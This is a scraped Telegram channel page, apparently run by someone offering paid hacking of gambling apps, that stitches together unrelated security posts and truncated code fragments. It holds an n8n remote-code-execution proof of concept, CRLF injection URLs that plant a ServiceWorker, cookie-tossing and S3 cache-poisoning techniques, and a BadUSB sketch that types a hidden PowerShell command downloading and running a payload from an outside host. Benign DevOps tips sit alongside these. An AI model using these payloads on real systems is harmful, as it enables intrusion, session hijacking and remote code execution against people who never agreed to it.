黑客入侵博彩APP网站渗透数据破解


Гео и язык канала: Китай, Китайский
Категория: Криптовалюты


黑客入侵 博彩APP网站数据破解
技术合作联系: @GotFFs

Связанные каналы

Гео и язык канала
Китай, Китайский
Категория
Криптовалюты
Статистика
Фильтр публикаций


🚀 来【博彩导航】🔍快准全,让你轻松找到群组、频道、视频、音乐、电影、新闻
📢: @BCso123AD | 永久ID: @bc123
👇点击下方按钮,进行搜索👇


移动安全聊天中,第一个问题应该是什么?

当然,最主要的问题是大家最关心的:“如何解除 SSL 验证?” 或者,在极端情况下,“如何绕过 Root 检查?”

目前,网上流传着一个包含 Frida 脚本的仓库,该脚本可以解除 SSL 验证,并绕过 Root 检查,可以说是“一举两得”。

我花了很长时间才找到它,因为我期望看到一些普通且早已为人所知的技术。但这个仓库让我感到惊喜。实际上,它提供了一系列不错的绕过 SSL 验证、Root 检查和 Frida 检测的方法。

当然,对于特别复杂的应用程序,这些方法可能无法奏效,但该脚本编写质量很高,而且目前仍在维护。

所以,作为一个起点,它非常有用。

#root #sslpinning

👉 技术合作联系: @GotFFs


n8n 表达式注入 → 远程代码执行 (RCE) (CVE-2025-68613)

CVE-2025-68613 的利用方法,其 CVSSv3 评分为 **9.9**。

n8n 是一个基于 Node.js 的工作流引擎,广泛用于自动化 LLM 集成。我个人使用 n8n 作为 Home Assistant 的 Node-Red 的替代方案,用于家庭自动化,但它也经常在企业网络中部署,这使得漏洞利用的后果非常严重。

n8n 使用 expressions 机制,任何格式为 ` `.``.``.` ` 的值都被解释为 JavaScript 代码,并在服务器端直接执行 🤷。

问题在于:
🔴 expression evaluator 缺乏严格的沙箱隔离;
🔴 可以访问 `prototype chain`;
🔴 表达式通过不安全的 Function() 级结构执行。
结果是,`expression injection` 允许逃逸沙箱,并访问 `runtime Node.js`。

以下是一个演示沙箱逃逸的 PoC:
{{ this.constructor.constructor("return process")() }}

this.constructor → Function
Function.constructor → 再次 Function
创建一个新的函数,该函数返回 `process`。

接下来,一切都可预测:获取 child_process 并执行操作系统命令:
{{
this.constructor
.constructor(
"return process.mainModule.require('child_process')" +
".execSync('id').toString()"
)()
}}

因此,即使攻击者拥有一个非特权 n8n 账户,他们也可以:
✔️ 植入反向 shell;
✔️ 窃取工作流中的令牌、密钥和凭据;
✔️ 修改或替换自动化业务逻辑。

⚙️ PoC: https://github.com/TheStingR/CVE-2025-68613-POC
🔎 Nuclei: https://github.com/rxerium/CVE-2025-68613/blob/main/CVE-2025-68613.yaml
🪲 易受攻击的软件版本:0.211.0 – 1.120.3
✅ 建议:升级到版本 1.120.4 / 1.121.1 / 1.122.0。

👉 技术合作联系: @GotFFs


如果发现了 CRLF 注入漏洞,可以修改 HTTP 响应并实现 XSS 攻击,那么可以通过 ServiceWorker 来扩大其影响。

要注册 ServiceWorker,需要满足以下条件:
1) 网站上下文必须能够执行 JavaScript。
2) 服务器上必须存在一个 JavaScript 文件,并且 Content-Type 必须正确。

使用 CRLF 注入,这两个条件很容易满足:

XSS 示例:
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0AXSS


JavaScript 文件示例:
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


但是,存在一个问题,即由 ServiceWorker 控制的请求会受到其 scope 的限制。
也就是说,scope 限制在 CRLF 注入生效的目录中。 在这种情况下,是 `/some/path/foo/bar/`,这不太理想。

但是,如果阅读文档,可以了解到 Service-Worker-Allowed 头部,该头部会与 JavaScript 代码一起包含在 HTTP 响应中,并且可以通过该头部来重定义 scope。
这意味着,在 CRLF 注入的情况下,可以注册一个位于网站根目录的 ServiceWorker,而不仅仅是 CRLF 注入生效的目录。

为此,我们需要构建一个包含 Service-Worker-Allowed:/ 的 ServiceWorker 代码,该代码会替换所有 HTTP 响应为 "Fake response" 字符串。
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener("fetch",function(event){event.respondWith(new Response("Fake response",{status:200,statusText:"OK",headers:{}}))})


然后,通过 XSS 注入它。
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0Anavigator.serviceWorker.register(' /some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener("fetch",function(event){event.respondWith(new Response("Fake response",{status:200,statusText:"OK",headers:{}}))})', {scope: '/'})

此外,有时无法通过 Content-Length 限制 HTTP 响应长度来构建有效的 JavaScript 代码。 在这种情况下,可以使用带有 Transfer-Encoding:chunked 的 HTTP 响应来删除响应中的多余部分。

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A

👉 技术合作联系: @GotFFs


关于客户端 Self-XSS 漏洞的利用技巧

有时,需要利用 XSS 或 CRLF 注入在一个无趣的子域名上,从而在另一个子域名上利用 Self-XSS,该子域名托管着主要应用程序,并包含用户的会话信息。

通常,这可以通过以下方式实现:
1) 准备一个攻击者的会话,该会话在 /foo/bar 页面上触发 Self-XSS。
2) 使用 CRLF 注入,在受害者的浏览器中添加另一个包含攻击者会话信息的 cookie,路径为 `/foo/bar`。

Set-Cookie: sessionid=; domain=.company.tld; path=/foo/bar; secure; samesite=none;


由于原始会话具有不同的 path 属性,因此添加的 cookie 不会覆盖原始 cookie。
在整个网站上,用户将使用自己的会话进行身份验证,但在 /foo/bar 页面上,会发送以下头部信息。

Cookie: sessionid=; sessionid=;


也就是说,包含攻击者会话信息的 cookie 会在头部中首先发送,因为它与 path 前缀的匹配度更高。 按照 RFC 的规定,Web 应用程序会选择头部中第一个值作为最终结果。 结果是,只有在 /foo/bar 页面上,用户才使用攻击者的会话进行身份验证,并且在该会话中会触发 XSS。 这允许在原始用户的会话下执行操作,通过向其他路径发送请求。

但是,如果 Web 应用程序在会话 cookie 中具有相同的键时,选择最后一个值怎么办?

如果重复使用 path 技巧,攻击者的会话会首先出现,并被忽略。
如果设置相同的 `path`,则原始用户的会话将被覆盖,攻击将失去意义(尽管这仍然可以作为 CRLF 注入 -> XSS 来使用,但现在需要第三个漏洞才能展示其影响)。

在某些情况下,创建一个类似 cookie 可能会有所帮助,该 cookie 被 Web 服务器视为与原始 sessionid 相同,但在浏览器中被视为两个不同的 cookie。

sessionID=value;
"sessionid"=value;
sessionid =value; (似乎已经修复)
x=x,sessionid=value;


但有时很难找到这种 cookie。

最近出现的一个名为 Partitioned 的 cookie 属性,旨在为顶级网站的 cookie 提供单独的存储空间,允许 Chrome 创建两个具有相同名称、`domain` 和 path 属性的 cookie。

Set-Cookie: sessionid=; domain=.company.tld; path=/; secure; samesite=none; partitioned;


结果是,受害者的浏览器将在每个请求中发送两个会话。 攻击者的 cookie 会最后发送,并且 Self XSS 会生效。

为了在 XSS 触发后“退出”攻击者的会话,可以使用 JavaScript 删除添加的 cookie,并在当前页面上执行任意操作,从而使用原始用户的会话。

👉 技术合作联系: @GotFFs


现在,出现了各种各样的云端和本地解决方案,它们都与 S3 兼容。
除了 S3 API 本身,这些解决方案可能还实现了其他功能,了解这些功能非常重要。

例如,MinIO 支持列出 ZIP 压缩文件的内容,并从中提取文件。

要使用此功能,对象必须位于存储桶中,并且具有 ".zip" 扩展名(通过子字符串 ".zip/" 进行检查),并且 HTTP 请求必须包含额外的 x-minio-extract 头部。

列出压缩文件内容:
GET /bucket/?prefix=archive.zip/&list-type=2 HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


从压缩文件中提取文件:
GET /bucket/archive.zip/test.html HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


在特定情况下,这种行为可能被用于 XSS 攻击,如果:
* 攻击者控制对象的内容和名称,但不控制 Content-Type(在这种情况下,也需要检查 response-content-type 参数)。
* 对对象的请求被缓存。

通过使用 x-minio-extract 将 XSS 攻击缓存到响应中,可以将其用于其他客户端,因为此头部不会用于缓存键。

MinIO 另一个有趣的功能是:对存储桶事件进行签名。
如果存储桶配置不安全,并且允许 s3:ListenBucketNotification 操作,则可以实时获取有关 MinIO 内部地址、对象更改或用户对对象的请求的信息,包括 IP 地址和 User-Agent。

请求示例 :
curl "http://127.0.0.1:9000/bucket/?events=s3:ObjectAccessed:*&ping=1"

👉 技术合作联系: @GotFFs


以下是一篇关于 Nginx 在代理请求到 S3 时可能存在的漏洞的简短说明,该漏洞去年在 Bug Bounty 项目中被利用。

与 S3 API 兼容的对象存储服务,在请求中指定存储桶名称有两种方式:

虚拟主机模式:
GET /object-name HTTP/1.1
Host: bucket-name.s3endpoint


路径模式:
GET /bucket-name/objectname HTTP/1.1
Host: s3endpoint


当使用路径模式时,Nginx 的配置可能存在一个不太明显的问题。
我们以一个代理请求的网站为例,该网站通过以下 rewrite 规则,在路径中插入存储桶名称。以下示例使用 Yandex Object Storage,但信息适用于所有 S3 存储服务。

location / {
set $s3_name "company-bucket";
set $s3_host "storage.yandexcloud.net";

rewrite ^(.*)$ /${s3_name}${1} break;

proxy_pass https://${s3_host};
}


在 Nginx 中,rewrite 规则应用于规范化的路径。如果路径中包含换行符 %0A,则此正则表达式将无法生效,因为正则表达式使用了行首和行尾锚点。

http://example.tld/test/test.html
=
https://storage.yandexcloud.net/company-bucket/test/test.html


http://example.tld/test/foo%0Abar
=
https://storage.yandexcloud.net/test/foo%0Abar


结果是,攻击者可以指定任何存储桶名称。即使对象名称中包含解码后的 %0A 字符,也不会影响,因为 S3 不是文件系统,允许使用此类名称。

因此,如果使用公共对象存储服务,攻击者可以在其中创建一个任意名称的存储桶,并上传一个名为 foo%0Abar 的文件,从而实现 XSS 攻击。由于 %0A 字符在对象名称中是解码后的,因此最简单的方法是使用 PUT 请求上传该对象。

以下是使用 Burp Suite 的 Hackvertor 扩展标记生成的 PUT 请求示例:
PUT /bucket-name/foo%0Abar HTTP/1.1
Host: storage.yandexcloud.net
Content-Type: text/html
Authorization: AWS ##ACCESS_KEY##:
👉 技术合作联系: @GotFFs


BFScan 分析 Java 类和应用程序资源中的字符串常量,以查找类似于 URL、路径或硬编码的密钥的字符串。
此外,它还可以根据配置、方法和类的注释生成原始 HTTP 请求和 OpenAPI 规范。它支持客户端库(例如,用于与后端交互的 APK 中的 Retrofit)以及服务器端技术,例如 Spring 注解。这大大简化了 API 测试,尤其是在需要从十几个嵌套类中构建 HTTP 请求体时。

让我们看一个例子,展示该工具如何与使用 Spring 注解的类一起工作。

@RestController
@RequestMapping("/api")
public class UserController {

@PostMapping("createUser")
public String create(@RequestParam Optional someParamName, @RequestBody User user) {
return "response";
}


如果正在处理的应用程序使用了支持的库,该工具将生成一个包含应用程序支持的所有 HTTP 请求的文件。
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
"name": "name",
"age": 1
}


该工具非常适合用于客户端应用程序,例如分析移动应用程序的 API。 同样,如果获得了服务器应用程序的编译后的 JAR/WAR 文件,可以使用它来查找其中硬编码的密钥,或进一步分析它处理的 API 端点。

如果应用程序经过混淆(这在 APK 中很常见),该工具将分析所有注释,如果这些注释看起来像是典型的 API 端点声明,它将基于这些注释构建 HTTP 请求。 如果此功能出现错误,可以使用 jadx 轻松创建映射文件,以便重命名混淆的类,并正确构建 HTTP 请求。

👉 技术合作联系: @GotFFs


Видео недоступно для предпросмотра
Смотреть в Telegram
现在是顺应潮流的时候了,我也来写点东西,标题里加上“AI”。

我开发了一个小型扩展程序,用于 Burp Suite Pro,它利用 Burp AI 的功能来填充 HTTP 请求的参数值和头部。

👉 技术合作联系: @GotFFs


部分实现了在 BFScan 中,对类构造函数的参数中的注释的支持。

https://github.com/BlackFan/BFScan/releases/tag/v3.1.0

如果以前对于混淆的 APK 文件,会生成大量的 HTTP 请求,并且请求体包含以下内容,那么现在结果应该会得到显著改善。

{
"f199018c": {
"f198956a": {
"f198686a": 1,
"f198687b": 1
},
"f198957b": {
"f198686a": 1,
"f198687b": 1
}
}
}

👉 技术合作联系: @GotFFs


漏洞与 S3 的 HTTP 响应缓存有关,如果配置不当,可能会出现。

条件:
1) 网站将静态资源存储在 S3 中,并且在特定条件下,会将请求代理到 S3,或者拥有一个单独的子域名,该子域名将请求代理到 S3 存储桶。
2) 为了避免传输 10MB 的 JavaScript 文件,会将来自 S3 的内容缓存到任何 HTTP 响应中,只要响应代码为 200。
3) 由于只缓存静态资源,因此不将 cookie 或查询参数包含在缓存键中。

表面上看起来一切正常,但问题在于,S3 不仅可以在返回文件内容时返回 200 状态码,还可以通过获取其他对象信息来返回 200 状态码。
例如,要获取标签列表,只需在查询参数中添加 `?tagging`,这通常允许进行未经授权的请求。

结果,而不是返回文件内容,会返回以下 HTTP 响应:





如果在使用 HTTP 响应缓存更新时,以这种方式请求静态资源,那么所有后续用户将收到错误的响应,而不是 JavaScript 代码,从而导致网站在受感染的缓存存在期间不可用。

如果 ?tagging`、`?acl 等方法返回 403 错误,可以尝试使用 GetObject API 的参数,例如,缓存错误的 Content-Type,并在请求中指定 ?response-content-type=text/html`。 这将导致浏览器拒绝执行具有错误类型的 JavaScript 代码,从而导致网站出现问题(此行为还取决于响应中是否存在 `X-Content-Type-Options: nosniff 头部)。

如何检查漏洞,同时不影响真实用户:
1) 通过网站的存档,找到过时的 JavaScript 文件。
2) 由于这些文件很少被访问,因此下一次请求将触发缓存更新,因此立即使用 ?tagging 或 ?response-content-type=text/html 参数进行请求。
3) 检查是否返回受感染的 HTTP 响应,并且没有指定查询参数。
4) 检查缓存是否与当前用户相关,通过从不同的设备/IP/或以其他用户身份进行请求来验证。

如何修复漏洞:
1) 在将 HTTP 请求传递到 S3 时,从代理请求中删除查询参数。
2) 将查询参数添加到缓存键中。

👉 技术合作联系: @GotFFs


发现了一个有趣的情况,即无法使用从 Java 应用程序中提取的 JWT 密钥生成有效的令牌。

该项目使用了过时的 jjwt-0.7.0 库,该库在使用字符串作为密钥时,会隐式地使用 Base64 对其进行解码,即使该字符串不是有效的 Base64 字符串。

结果,在使用以下代码时:
private static String SECRET = "#%j?_GtEhNS-WH.Vq%";
private static long EXPIRATION = 3600L;

public static String generateToken(String username) {
Map claims = new HashMap();
claims.put("sub", username);
Date exp = new Date(System.currentTimeMillis() + (EXPIRATION * 1000));

return Jwts.builder()
.setClaims(claims)
.setExpiration(exp)
.signWith(SignatureAlgorithm.HS512, SECRET)
.compact();
}


您实际上得到的不是密钥 `"#%j?_GtEhNS-WH.Vq%"`,而是只有 6 个字符 `0x8c, 0x6b, 0x44, 0x84, 0xd4, 0x96`,或者 `base64_decode("jGtEhNSW")`。

所有不属于 Base64 的字符都会被删除,而序列 HVq 会被舍弃,因为为了正确地进行 Base64 编码,它需要必要的填充字符 `=`。


👉 技术合作联系: @GotFFs


Elastic公司最大的错误,并非是改变了许可证。而是放弃了一个后来发展成为Grafana的理念。

2013年,托克尔·埃德戈尔是Orbitz公司一位默默无闻的开发者。他需要一套能够展示时间序列数据和指标的仪表盘。

他建议将Kibana与Elasticsearch分离,使其能够处理来自其他数据源的数据。

但他的建议被拒绝了。

于是,他自己创建了一个分支版本。

2014年1月,他将该项目公开,没有任何资金支持,也没有公司背景,仅仅是一位开发者,他做出了自己被告知无法做到的事情。

到2014年底,他成为了Grafana Labs的联合创始人。2021年,该公司在一次融资中获得了2.2亿美元。

如今,Grafana的市场规模约为200亿美元。在每天使用仪表盘的DevOps工程师中,Grafana可能比Elastic更广为人知。

随后,在2021年,Grafana的创始人将他们的主要项目从Apache 2.0许可证转为AGPL许可证,以防止大型云公司免费转售他们的成果。

MongoDB和Elastic公司当时也面临着同样的问题,并因其处理方式而受到了严厉批评。

而Grafana则不同。开源社区认为他们的做法是公平、透明和尊重的。

一个2013年被拒绝的关于新功能的请求,最终促成了一家公司,这家公司能够吸取整个行业的教训。

这或许是有史以来开源领域中最昂贵的“拒绝”。


👉 技术合作联系: @GotFFs


10个关于CI/CD的建议,我希望在创建第一个流水线之前就了解:


1. 在代码检查器出现错误时,停止构建,而不仅仅是在测试失败时。
不良代码会导致未来的错误。

2. 缓存所有安装的依赖项。
npm install 不应该在每次构建时都重新运行。
GitHub Actions:使用 `actions/cache`。
GitLab:基于 package-lock 的哈希值创建缓存密钥。

3. 在运行集成测试之前,始终运行单元测试。
快速反馈。尽早发现问题。不要等待20分钟才能发现一个拼写错误,导致整个构建失败。

4. 仅构建一次Docker镜像。 在各个环境之间使用相同的镜像。
不要为测试环境和生产环境重新构建镜像。 一个镜像 = 相同的构建产物。

5. 使用Git SHA标记每个镜像,而不仅仅是 `latest`。
latest 没有任何信息。 abc1234 立即显示部署的是哪个版本。

6. 分离部署和发布。
在生产环境中逐步发布更改。 使用功能开关来向用户启用这些功能。

7. 在生产环境中进行部署后,添加冒烟测试。
不是单元测试。 简单地检查:“应用程序是否响应? 登录是否正常工作?”

8. 测量每个流水线阶段的时间。
当开发人员看到缓慢的步骤时,他们会开始修复它们。

9. 使用一个命令进行回滚,而不是一个包含10个步骤的过程。
如果回滚过程复杂,人们不会进行回滚。 最终,他们会直接在生产环境中修复问题。

10. 像检查代码一样检查流水线。
这同样是代码。 它也可能包含错误和技术债务。 相应地对待它。

👉 技术合作联系: @GotFFs


5 个关于 Docker 的建议,它们可以帮助您节省半年时间,摆脱臃肿的镜像。

1. 使用精简镜像
使用 `python:3.11-slim`,而不是 `python:3.11`。

镜像的大小可以从大约 1GB 减少到 150MB。

2. 正确安排 Dockerfile 中的指令

将很少更改的部分放在前面。

将应用程序代码放在后面。

这样可以更有效地利用 Docker 缓存,并加快构建速度。

3. .dockerignore 不是可选的
添加 node_modules`、.git`、测试文件以及所有不必要的文件。

永远不要将它们复制到镜像中。

4. 使用多阶段构建
在一个阶段构建应用程序,然后在最终镜像中只复制最终结果。

构建工具不应该进入生产环境。

5. 在发布之前检查镜像
trivy image myapp:latest

这是一个免费的工具,大约需要 30 秒,可以帮助您在发送镜像之前发现真实的漏洞。

👉 技术合作联系: @GotFFs


尽管这项技术已经存在很长时间,SSH 端口转发仍然非常有用。

通过一个 ssh 命令,您可以:
> 通过堡垒主机访问 VPC 中的私有服务;
> 在自己的浏览器中打开本地主机的远程端口;
> 将家庭实验室中的服务通过公共服务器提供给外部访问;
> 将 SSH 连接转换为整个私有网络的 SOCKS 代理。

👉 技术合作联系: @GotFFs


发布了一个开源模型,专为 Offensive Security 设计,可以在本地运行。这是一个 35B MoE 模型,拥有 30 亿个有效参数,专门针对自主代理渗透测试场景进行了优化。

开发者表示,该模型不再会虚构 Nmap 的结果,并且在运行过程中不会出现卡顿。

主要成果:

* SecEval:81.39% (第一名)
* MITRE ATT&CK:93.94% (第一名)
* CWE:93.05% (第一名)
* 针对真实的代理渗透测试场景进行了微调
* 支持结构化的工具调用
* 能够正确地在代理之间路由任务
* 能够正确地完成任务 (24/24 测试通过)
* 不会虚构侦察和监控结果

作者表示,该模型确实可以与完整的测试框架配合使用,因此值得那些正在开发用于 Offensive Security 任务的本地代理的人员关注。


获取工作目录径dptOut的绝对路径并将apk解压到工作目录
java String apkMainProcessPath = ApkUtils.getWorkspaceDir().getAbsolutePath(); System.out.println("Apk main process path: " + apkMainProcessPath); ApkUtils.extract(apkPath,apkMainProcessPath);//将apk解压到工作目录
解析AndroidManifest.xml获取packageName
getPackageName调用了getValue(file,"manifest","android","package");,然后getValue中利用pxb.android.axml.AxmlParser获取了manifest标签内命名空间为android的package属性的值,也就是存放我们包名的地方


Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {}
8、将代码上传到开发板中,等待烧录完成即可,烧录成功之后,插入电脑即可上线
总结
近源渗透相比普通的渗透测试可能成本更高,毕竟一个设备动不动就要一两百美刀,谁顶得住啊,但是如果能更好的掌握社工技巧会事半功倍,而且对于蓝队来说更是防不胜防,有可能自己在网络这块防得死死的,被现场的好队友捡到的u盘送走了,虽然设备费用贵,但贵有贵的道理,从另一个方面讲,以后的常规渗透测试肯定也会越来越多的结合近源渗透测试的一些手段和方法,这不仅仅是提高了红队的攻击能力,同时也是对蓝队防守能力在更高维度上提出了要求


我们先分析可以将普通apk处理成加壳apk的proccessor模块
代码在dpt\src\main\java\com\luoye\dpt文件夹中
从Dpt.java开始分析
准备工作
读取命令行参数,获取我们电脑上的apk路径,并创建新的加壳apk文件路径
```java
private static void usage(){
System.err.println("Usage:\n\tjava -jar dpt.jar [--log] ");
}

Показано 20 последних публикаций.